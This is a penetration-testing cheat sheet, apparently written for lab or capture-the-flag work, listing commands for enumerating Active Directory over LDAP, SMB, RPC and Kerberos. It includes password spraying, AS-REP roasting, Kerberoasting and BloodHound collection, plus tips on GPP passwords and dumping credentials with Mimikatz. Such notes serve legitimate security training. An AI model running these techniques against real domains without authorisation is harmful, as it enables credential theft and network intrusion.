Active Directory Enumeration
Methodology Overview
After an nmap scan on a machine with Active Directory (AD), prioritize enumeration of key services:
- SMB (Port 445): First point of focus. Look for open shares (
smbclient,enum4linux,smbmap), weak permissions, Null Sessions, or anonymous access. Check for sensitive info and credentials in shared folders/config files. - LDAP (Port 389/636): Enumerate users and groups, especially if anonymous bind is allowed. Tools like
ldapsearchorenum4linuxhelp gather domain info. Check description fields for passwords. - Kerberos (Port 88): Use
kerbruteorGetNPUsers.pyfor username enumeration and AS-REP roasting. Enumerate SPNs usingGetUserSPNs.pyfor Kerberoasting. - RPC (Port 135/139): Attempt to enumerate users and shares using
rpcclient. - DNS (Port 53): Check if zone transfers are allowed (
dig axfrorhost -l).
Always add the DC’s DNS name to /etc/hosts:
- Both
dc.domain.comANDdomain.com
Tricks that often work:
- Password Spraying: Once you have usernames, test weak/common passwords with
crackmapexecornxc. - If you find a valid username, try AS-REP Roast immediately.
- If anonymous bind is established, search for passwords in description fields.
- Check for NTLM credential leaks via various methods.
- Look for creds in SMB shares and login scripts; check for GPP Passwords in SYSVOL.
- If you have credentials/hash, repeat enumeration steps to see what that account can access.
- Find accounts with SPN set and try Kerberoasting.
- Run BloodHound for domain mapping.
- Run winPEAS for non-AD escalation paths.
- If you escalate to local admin/SYSTEM, dump cached creds with Mimikatz.
LDAP Enumeration
If LDAP is open and nothing else is found:
sudo nmap -sC -A -Pn --script "*ldap*" $IP -oN output.ldap
ldapsearch
Base enumeration — find naming contexts first:
ldapsearch -H ldap://monitored.htb -x -s base namingcontexts
ldapsearch -H ldap://monitored.htb -x -b "dc=monitored,dc=htb"
Anonymous bind search:
ldapsearch -x -H ldap://$IP -b "dc=$name,dc=offsec" > $name.ldapsearch
# grep for: cn / description / sAMAccountName
Authenticated search:
ldapsearch -x -H ldap://172.16.227.10 -D '$domain.com\$user' -w '$password' -b "DC=$domain,DC=com"
ldapsearch -h 172.16.5.5 -x -b "DC=INLANEFREIGHT,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength
Full example with -W password prompt:
ldapsearch -x -b "dc=support,dc=htb" -H ldap://support.htb -D ldap@support.htb -W "*"
ldapsearch -x -b "dc=support,dc=htb" -H ldap://support.htb -D ldap@support.htb -W "(objectClass=user)"
Parameter reference:
-x— simple authentication (no SASL)-b— base DN for search-H— LDAP server URI-D— bind DN (identity to authenticate with)-W— prompt for password"*"— return all entries in base DN
ldapdomaindump
ldapdomaindump -u $domain.com\\ldap -p '$ldapPassword' $domain.com -o $outputDirectory
sudo ldapdomaindump ldaps://$dcIP -u '$Domain\$user' -p $Password
Outputs HTML files viewable with firefox file.html.
windapsearch
python3 windapsearch.py --dc-ip $dcIP -u $user@domain.com -p $pass --da
# --da = enumerate domain admins
# -PU = enumerate privileged users
nmap LDAP scripts
nmap -n -sV --script "ldap* and not brute" -p 389 <DC IP>
Kerberos Enumeration
Kerbrute User Enumeration
kerbrute userenum --dc $ip -d CONTROLLER.local Users.txt
kerbrute userenum --dc $ip -d CONTROLLER.local /home/kali/Documents/User.txt
# --dc can point to a domain name or IP
Check for AS-REP Roastable Accounts (No Pre-Auth)
If you have a username but no password, try AS-REP Roasting immediately.
Remote via Impacket:
impacket-GetNPUsers -dc-ip $IP -request -outfile $outfile.asreproast $domain.com/$user
Local via Rubeus:
.\Rubeus.exe asreproast /nowrap
Local enum via PowerView:
Get-DomainUser -PreauthNotRequired
User Enumeration (Kerbrute, RPC)
Kerbrute Password Spraying (also finds valid users)
./kerbrute_linux_arm64 passwordspray -d $domain.com $usersFile "$password"
RPC User Enumeration
rpcclient -U "" -N $IP
enumdomusers
querygroup 0x200
querygroupmem 0x200
queryuser 0x1f4
Impacket SID Lookup
impacket-lookupsid [domain]/[user]:[password/hash]@[Target IP]
enum4linux
enum4linux -u "" -p "" -a <DC IP>
enum4linux -u "guest" -p "" -a <DC IP>
SMB-based enumeration
smbmap -u "" -p "" -P 445 -H <DC IP>
smbmap -u "guest" -p "" -P 445 -H <DC IP>
smbclient -U '%' -L //<DC IP>
smbclient -U 'guest%' -L //
BloodHound / Domain Mapping
BloodHound (remote collection from attacker machine)
bloodhound-python -u $user -p '$password' -ns $ip -d domain.offsec -c all
adPEAS.ps1 (local, on target)
Import-Module .\adPEAS.ps1
Invoke-adPEAS
- Searches for SPNs, Kerberoastable accounts, exports domain info as .zip for BloodHound.
- Transfer .zip back to attacker machine; before launching BloodHound:
sudo neo4j console
Plumhound (companion to BloodHound)
sudo python3 Plumhound.py -x tasks/default.tasks -p $neo4jpassword
sudo python3 Plumhound.py --easy -p $neo4jpassword # minimal test
Requires neo4j and BloodHound to already be running. Output viewable via index.html.
Snaffler (hunt shares for interesting files)
Snaffler.exe -s -d $domain.com -o snaffler.log -v data
PowerView.ps1 Domain Enumeration
Import-Module .\PowerView.ps1
# (May need: Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser)
Get-NetDomain
Get-NetUser
Get-NetUser | select cn
Get-NetUser | select cn,pwdlastset,lastlogon
Get-NetGroup | select cn
Get-NetGroup "Group Name" | select member
Get-NetComputer
Get-ObjectAcl -Identity $user
Get-ObjectAcl -Identity "<group>" | ? {$_.ActiveDirectoryRights -eq "GenericAll"} | select SecurityIdentifier,ActiveDirectoryRights
Convert-SidToName $SID
Find-LocalAdminAccess
Get-NetSession -ComputerName $computerName
Get-Acl -Path HKLM:SYSTEM\CurrentControlSet\Services\LanmanServer\DefaultSecurity\ | fl
Get-NetUser -SPN | select samaccountname,serviceprincipalname
Find-DomainShare
ls \\dc1.corp.com\sysvol\corp.com\
Get-DomainUser -PreauthNotRequired
Get-DomainPolicy
ActiveDirectory Module (built-in PowerShell)
Import-Module ActiveDirectory
Get-ADDomain
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName
Get-ADGroup -Filter * | select name
Get-ADGroup -Identity "$groupName"
Get-ADGroupMember -Identity "$groupName"
Get-ADUser -Filter {SamAccountName -eq "$user"} -Properties ServicePrincipalNames